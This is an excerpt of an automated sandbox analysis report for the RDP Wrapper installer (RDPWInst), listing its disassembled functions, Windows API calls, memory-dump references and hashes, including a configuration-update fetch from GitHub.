Opcode Fuzzy Hash: 09450458b8d81176c6a50bac5932f2701a5404c96287c680bb229262f5fe89b5
Instruction Fuzzy Hash: 99E0C2A3B4072036F63072AD4C82FAB9158CB867B4F470336FA50FB2D2C0999C0241AC

Function 0040F6C0 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 0040F6D4

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 8e9fea90e53bca7412c33d02f8e097722a35645c54a93293cf713adbfc77c375
Instruction ID: 3fe4e569543b3f1381ab86603454923b4de8c4718f21568c98d02def12c07fd2
Opcode Fuzzy Hash: 8e9fea90e53bca7412c33d02f8e097722a35645c54a93293cf713adbfc77c375
Instruction Fuzzy Hash: 42D05BB63082507AD220D55B5C44DAB6BDCDBC5771F10063FB658C31C0D6308C05C275

Function 0043A644 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32 ref: 0043A648

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: f537996a7b7980d49ed43dd1d2441830a107cc63a0e7000c4f47f7a03b218ad6
Instruction ID: fbf5644ea725b9a19c2d11835783dba3dfebd9b236010a27cc61b97838af9c82
Opcode Fuzzy Hash: f537996a7b7980d49ed43dd1d2441830a107cc63a0e7000c4f47f7a03b218ad6
Instruction Fuzzy Hash: 66E086584BC14148C60523354C2F7A32688832A324F4D2923C4D985262E25FC0B77BAF

Function 0040F7C4 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000000,00447324,0043D137,00000000,0043D55E,?,00447324,0000000B,00000000,00000000,?,00443BAB,00000000,00443FB2), ref: 0040F7CF

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b551f2b18252a583477f9e8ccff1f7da88027c1fc4d2758f3b89c6edbf41f201
Instruction ID: dfbd20c989cc919aa742ea809a195094cafabb968b5a4f056a7cb7a67f60922a
Opcode Fuzzy Hash: b551f2b18252a583477f9e8ccff1f7da88027c1fc4d2758f3b89c6edbf41f201
Instruction Fuzzy Hash: F3C08CA03012000AEE30B1BD1DCA80B02884A0D2383A02A37F069F3AD3D23E886F201A

Function 0040FB5C Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,00000000,00000001,0040F8C6,00000000,0040F8EB,?,00447324,00000000,00000000,00000000,00000000,?,0043D15F,00000000,0043D55E), ref: 0040FB69

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 93014c2a0d15a9f7c19c06a67ffa09c9f03b47d74489f26678219aaa478409b4
Instruction ID: 5428b92e23564d17d1f876684be8f9c2b3243abbeaf0de8523baba27188e832a
Opcode Fuzzy Hash: 93014c2a0d15a9f7c19c06a67ffa09c9f03b47d74489f26678219aaa478409b4
Instruction Fuzzy Hash: 40B092927543401AEA0035FA0CC6F2A418CD70960AF110C3ABA42E7183D47FC8290026

Function 00409310 Relevance: 1.3, APIs: 1, Instructions: 57stringCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,00000000,?,00000000,004093AD,?,?,?,00000000), ref: 0040937A

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: lstrcpyn
String ID:
API String ID: 97706510-0
Opcode ID: f92199f7e57e2128dd250d54d35a9e3758d953fbac64912c85fa78ba761ebe9f
Instruction ID: 1f383253a52e48d77bc15eb4822a33d834d352bf49a326ca98ed7cc47a11fc89
Opcode Fuzzy Hash: f92199f7e57e2128dd250d54d35a9e3758d953fbac64912c85fa78ba761ebe9f
Instruction Fuzzy Hash: 0111C671504204EFDF21DB69CC86B9A77F8EB19754F5100BAFC40AB2D2D7B8AD008A19

Function 00402AB2 Relevance: 1.3, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000), ref: 00402AE3
VirtualQuery.KERNEL32(?,?,0000001C), ref: 00402B06
VirtualFree.KERNEL32(?,00000000,00008000,?,?,0000001C), ref: 00402B13

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Virtual$Free$Query
String ID:
API String ID: 778034434-0
Opcode ID: d2902ee949b2c85551e00087902fb7701d80a0372c0c987194a01e681a746040
Instruction ID: e8ddcf902efd7f78c833b1da2340b8221ccc6e4d64c13544335dcfda98f803ee
Opcode Fuzzy Hash: d2902ee949b2c85551e00087902fb7701d80a0372c0c987194a01e681a746040
Instruction Fuzzy Hash: 0CF06D343046005FD311CB19CA89B17BBE5EFC9350F15C17AE988973E5E675DC019B9A

Non-executed Functions

Function 0043CF60 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(RDP Wrapper Update,00000000,00000000,00000000,00000000), ref: 0043CF9B
InternetOpenUrlW.WININET(00000000,https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini,00000000,00000000,80000000,00000000), ref: 0043CFB7
InternetCloseHandle.WININET(00000000), ref: 0043CFC3
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0043CFDB
InternetCloseHandle.WININET(00000000), ref: 0043D002
InternetCloseHandle.WININET(00000000), ref: 0043D008

Strings

$sD, xrefs: 0043D01E, 0043CFE6, 0043CFF3
RDP Wrapper Update, xrefs: 0043CF96
https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini, xrefs: 0043CFB1

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$Open$FileRead
String ID: $sD$RDP Wrapper Update$https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini
API String ID: 4294395943-3115740878
Opcode ID: 0dd60196e7cab0bfb1fb3172ef56b337b41d75a0cde3163acb5471a059a842a1
Instruction ID: c5d90ac50beae541ecf0d1101a3828864360ef58c633fc88e2a86ac238cf1af1
Opcode Fuzzy Hash: 0dd60196e7cab0bfb1fb3172ef56b337b41d75a0cde3163acb5471a059a842a1
Instruction Fuzzy Hash: B611EC30A40204BAE725DB629C52F5E73B99B5CB08F21907AF500B61C1DAFC6D15965E

Function 00408EB9 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 81stringfileCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,?,?,?), ref: 00408E8B
FindFirstFileW.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,?,?,?), ref: 00408E9E
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,?,?,?), ref: 00408EB4
lstrlenW.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,?,?,?), ref: 00408EC0
lstrcpynW.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,?,?), ref: 00408EFC
lstrlenW.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,?), ref: 00408F08
lstrcpynW.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 00408F2B

Strings

\, xrefs: 00408ED2

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: lstrcpyn$Findlstrlen$CloseFileFirst
String ID: \
API String ID: 426534248-2967466578
Opcode ID: c2c22b4f6afaac3322ec1ba7b89a81b7c1940998765c8b0d5641ec05d20bdfa1
Instruction ID: b362d454dc0c99aa6135db0f351dbab6b5904c2f5f97e8c1ae29e40b3cae7ae2
Opcode Fuzzy Hash: c2c22b4f6afaac3322ec1ba7b89a81b7c1940998765c8b0d5641ec05d20bdfa1
Instruction Fuzzy Hash: 2921DA72A005195BCB10EAA4CD89BEF736DEB84314F0845BBA554E32C1EA7CEA458B58

Function 00408908 Relevance: 4.6, APIs: 3, Instructions: 100COMMON

Download Yara Rule

APIs

IsValidLocale.KERNEL32(?,00000002,00000000,00408A6F,?,?,?,00000000), ref: 004089B4
GetLocaleInfoW.KERNEL32(00000000,00000059,?,00000055,?,00000002,00000000,00408A6F,?,?,?,00000000), ref: 004089D0
GetLocaleInfoW.KERNEL32(00000000,0000005A,?,00000055,00000000,00000059,?,00000055,?,00000002,00000000,00408A6F,?,?,?,00000000), ref: 004089E1

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Locale$Info$Valid
String ID:
API String ID: 1826331170-0
Opcode ID: 22c6a01b53f4869b0805d6a69e827c795f3fdd97ab41ae37c19bcf7436934d77
Instruction ID: a5145651339b4fb3455c536bf826b1f6d015bb6bedb64d7d22cca76e959b3329
Opcode Fuzzy Hash: 22c6a01b53f4869b0805d6a69e827c795f3fdd97ab41ae37c19bcf7436934d77
Instruction Fuzzy Hash: 4031C274A00618ABDF20EB55DD81BAF77B5EB44700F1040BBA588B72D1DA7D5E40CF5A

Function 00414698 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?,00443136,00000000,0044315A), ref: 004146A6

Strings

8[D, xrefs: 004146EC

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Version
String ID: 8[D
API String ID: 1889659487-4257705004
Opcode ID: 4c73b04ee2d3421a5135ac7becaf35c551135d218803d44854ea7cc165e5ef2a
Instruction ID: 2f0940f951a798b0a8c1b92e6229d48fd5c0b6d32f60b1d075f360ba34157daa
Opcode Fuzzy Hash: 4c73b04ee2d3421a5135ac7becaf35c551135d218803d44854ea7cc165e5ef2a
Instruction Fuzzy Hash: 7DF030B8605B419FDB00DF18E845659B7E0EB89314F00483AF485D7391D738A844CB6E

Function 0040F73C Relevance: 3.0, APIs: 2, Instructions: 23fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,?,0040F7B7,00000000,?,00447324,0043D527,00000000,0043D55E,?,00447324,0000000B,00000000,00000000), ref: 0040F757
FindClose.KERNEL32(00000000,00000000,?,00000000,?,0040F7B7,00000000,?,00447324,0043D527,00000000,0043D55E,?,00447324,0000000B,00000000), ref: 0040F762

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 8349d8abcabe035f766b9fd57bf523843a29f3c72d549b36151af9bdffc9284f
Instruction ID: 44d6f2536772e544dca19d4554f13a915e571bc99722c0a0b507a91726501656
Opcode Fuzzy Hash: 8349d8abcabe035f766b9fd57bf523843a29f3c72d549b36151af9bdffc9284f
Instruction Fuzzy Hash: B9E0CD6261470815C72065B90CC9B5B728C5B04328F040BB77D5CF35D2FA3D8554115F

Function 0040FAE8 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?), ref: 0040FB09

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 061f37ac546520710da28799b67137028b65efc101c0d4d81ccfdcd92c7e26f4
Instruction ID: 58712635a06311b99fbeb36610203dfa2cb34c225fc8d295b9fe620e031658d4
Opcode Fuzzy Hash: 061f37ac546520710da28799b67137028b65efc101c0d4d81ccfdcd92c7e26f4
Instruction Fuzzy Hash: DC1112B5E00209AFDB04CF99C881DAFF7F9EFC8304B14C569A508E7254E6319A018B90

Function 00412C4C Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 00412C6A

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 7e0a8c61708f8e5fe9311120f60f8f5fdb241708797c452f410103c20568c8cd
Instruction ID: 9da8dff9c55e20549594a614ff7d844013acaeb15ab394cddf5a90cc700bc9e0
Opcode Fuzzy Hash: 7e0a8c61708f8e5fe9311120f60f8f5fdb241708797c452f410103c20568c8cd
Instruction Fuzzy Hash: 69E0927170021817E314A5695C86DEB725C9B58300F00417FBA06D7387EDB89D6046ED

Function 00412C4A Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 00412C6A

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: ab3a7bc9c987a33d67a9bd60b42fd60c334eb7a711f5428dc5487131ec69b403
Instruction ID: 70141b24f99fd98ac1db3019ee377dee0462c825b9fd2fb3f3473e8324f2be5c
Opcode Fuzzy Hash: ab3a7bc9c987a33d67a9bd60b42fd60c334eb7a711f5428dc5487131ec69b403
Instruction Fuzzy Hash: 01E0DF3270031827F31495689D86EFB729C9B58300F00427BBE06D3382FDB49DA046E9

Function 00412C98 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0041524C,00000000,00415476,?,?,00000000,00000000), ref: 00412CAB

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: c8c474e4d6c9df360d6374c6a6ae5d3dec4118d646be2418b28a4789b35754d1
Instruction ID: c0299d43d85d1b47cbbe3802d462e1d0899c6c80b318dcec9f9e75b03fa43e2d
Opcode Fuzzy Hash: c8c474e4d6c9df360d6374c6a6ae5d3dec4118d646be2418b28a4789b35754d1
Instruction Fuzzy Hash: 17D05EB63092202AE210525B6E45DBF56DCCBC87A2F10443BBA48C6242E268CC5693F9

Function 00411154 Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00411158

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: e8d3b386f6a7d5cca3471eaf155d8864694d2401fe0684cb90b003475a380097
Instruction ID: 9e8cd4c1e66a35051b5eb1694121f13696e39ccab0ec977751e8beb904ec194d
Opcode Fuzzy Hash: e8d3b386f6a7d5cca3471eaf155d8864694d2401fe0684cb90b003475a380097
Instruction Fuzzy Hash: D1A0110080882002C2803B2A0C032383080A800A30FC80BAAB8F8A02E2EA2E023088AB

Function 0040360C Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
